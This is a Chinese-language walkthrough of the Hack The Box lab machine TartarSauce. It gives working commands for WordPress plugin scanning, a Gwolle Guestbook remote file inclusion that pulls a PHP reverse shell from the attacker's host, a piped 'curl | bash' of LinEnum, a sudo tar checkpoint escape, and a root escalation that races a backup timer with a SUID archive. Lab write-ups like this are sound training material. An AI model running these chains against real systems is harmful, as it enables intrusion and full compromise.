TartarSauce是Hack The Box的一個靶機(jī),其利用手法比較新穎,要求熟悉tar的使用原理。當(dāng)時做的時候,頭懵懵的,特此記錄下來,方便朋友們一起進(jìn)步。
nmap掃描端口,發(fā)現(xiàn)僅有80端口,可訪問到robots.txt。

由robots.txt可獲得monstra-3.0.4管理員登錄界面為http://10.129.1.185/webservices/monstra-3.0.4/admin/index.php

以admin/admin可以登錄,但試了好幾種monstra3.0.4漏洞利用方法都不成功,總提示“File was not uploaded”
gobuster搜索http://10.129.1.185/webservices,發(fā)現(xiàn)了wp目錄

使用了wordpress,可用wpscan進(jìn)行掃描。
注:執(zhí)行如下掃描,提示沒有任何插件
wpscan --urlhttp://10.129.1.185/webservices/wp -eap
ap? 指所有插件

只有采用如下命令才能檢測出插件
wpscan --urlhttp://10.129.1.185/webservices/wp -e u,ap --plugins-detection aggressive

--plugins-detection aggressive 使用較強(qiáng)的插件檢測模式,以便在掃描期間能夠檢測到更多的插件漏洞
查看該插件的readme.txt
http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

在該文件的Changelog部分發(fā)現(xiàn)了有趣的內(nèi)容,由于wpscan會根據(jù)插件readme.txt的版本信息來檢測是否存在漏洞,所以此處網(wǎng)站管理員為了避免被檢測出漏洞,手動修改了插件的版本號,真正的版本號是1.5.3。
searchsploit gwolle

顯示存在遠(yuǎn)程文件包含,從利用腳本知道訪問如下URL
http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/test

Kali Linux監(jiān)聽80端口,可看到如下信息

等于在我們訪問的test后面加上了wp-load.php字符。
知道了原理,我們修改php-reverse-shell.php,更改主機(jī)和端口,把名字改為wp-load.php

開啟web服務(wù)器+nc監(jiān)聽1234端口
python -m http.server 80
nc -lvnp 1234
訪問如下URL(修改/etc/hosts,建立IP地址和tartarsauce.htb的關(guān)系)就可獲得反向連接

當(dāng)前用戶為www-data,連接到Kali Linux,運行LinEnum腳本進(jìn)行提權(quán)
curl 10.10.14.17/LinEnum.sh | bash

找到可疑之處,onuma不用密碼就能sudo執(zhí)行tar

到gtfobins上找tar的sudo做法

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
由于是onuma才不需要密碼,需要改成sudo -u onuma
/bin/bash顯示效果比/bin/sh要好,最后利用語句為
sudo-u onumatar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

1、提交用戶標(biāo)志
7ec356c89f4e33bfab61ec66f82ccd8d

在用戶onuma下,仍舊運行LinEnum進(jìn)行提權(quán)
發(fā)現(xiàn)了一個可疑的systemtimer

執(zhí)行l(wèi)ocate backuperer,查找timer所在位置

我們將/usr/sbin/backuperer的內(nèi)容拷貝下來,了解程序的含義
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ???g???
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incaseanother skiddie defaces us again.
# We will be able to quickly restore from a backupin seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100/dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
??? for n in$(seq 72);
??? do/usr/bin/printf $"-";
??? done
}
bdr=$(printbdr)
# Added a test file to let us see when the lastbackup was run
/usr/bin/printf $"$bdr\nAuto backupbackuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile$basedir &
# Added delay to wait for backup to complete iflarge files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
???/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
??? # Reporterrors so the dev can investigate the issue.
???/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran:? $(/bin/date)\n$bdr\n$tmpfile\n">> $errormsg
???integrity_chk >> $errormsg
??? exit 2
else
??? # Cleanup and save archive to the bkpdir.
??? /bin/mv$tmpfile $bkpdir/onuma-www-dev.bak
??? /bin/rm-rf $check .*
??? exit 0
fi
—onuma用戶執(zhí)行sudo,將/var/www/html目錄備份到/var/tmp下,并為其分配一個隨機(jī)的SHA文件名
—為了完成備份,腳本將休眠30秒
—創(chuàng)建一個新的臨時目錄/var/tmp/check,并將tar提取到此文件夾中
—對/var/tmp/check和/var/www/html下的文件運行完整性檢查。如果發(fā)現(xiàn)兩者不一致,則輸出錯誤信息到/var/backups/onuma_backup_error.txt;如果兩者相同,則將/var/tmp下的備份文件移到/var/backups/onuma-www-dev.bak中,并刪除/var/tmp/check目錄。
我們的攻擊計劃是:創(chuàng)建一個帶有SUID的tar文件,用它來替換在30秒睡眠時間之前產(chǎn)生的原始tar文件。后續(xù)如果提取了tar文件,將權(quán)限升級為root用戶。
在本機(jī)上建立var/www/html目錄
mkdir -p var/www/html
創(chuàng)建setuid.c文件

在本地進(jìn)行編譯到var/www/html目錄中
gcc setuid.c -m32 -static-o var/www/html/suid

注:由于目標(biāo)機(jī)為32位系統(tǒng),我們需要使用-m32選項。編譯前需要在本地安裝gcc-multilib和g++-multilib。為了防止在目標(biāo)機(jī)上運行程序時出現(xiàn)鏈接libc庫版本不對,使用-static將其編譯為靜態(tài)鏈接的程序。

sudo apt-get install gcc-multilib g++-multilib

為suid設(shè)置SUID位,然后用tar將其歸檔到var/www/html/目錄。
chmod u+s var/www/html/suid
tar zcvf suid.tar.gz var/

借助nc將suid.tar.gz上傳到目標(biāo)機(jī)
nc -lvnp 9001 < suid.tar.gz
nc 10.10.14.24 9001 > setuid.tar.gz


執(zhí)行下述命令,每隔1秒顯示當(dāng)前執(zhí)行的timer,當(dāng)剩余5秒鐘就可以開始操作了
watch -n 1 'systemctl list-timers'

將隨機(jī)文件.415824fc54ec68fd05177c453d4bbdebcf02a672替換為上傳的setuid.tar.gz
cp setuid.tar.gz .415824fc54ec68fd05177c453d4bbdebcf02a672

等待30秒睡眠后,將看到/var/tmp/下出現(xiàn)了check目錄,此時可執(zhí)/var/tmp/check/var/www/html/下的suid進(jìn)行提權(quán)

2、提交root標(biāo)志
4db485af1a778cdfabcb38941ee2eaf5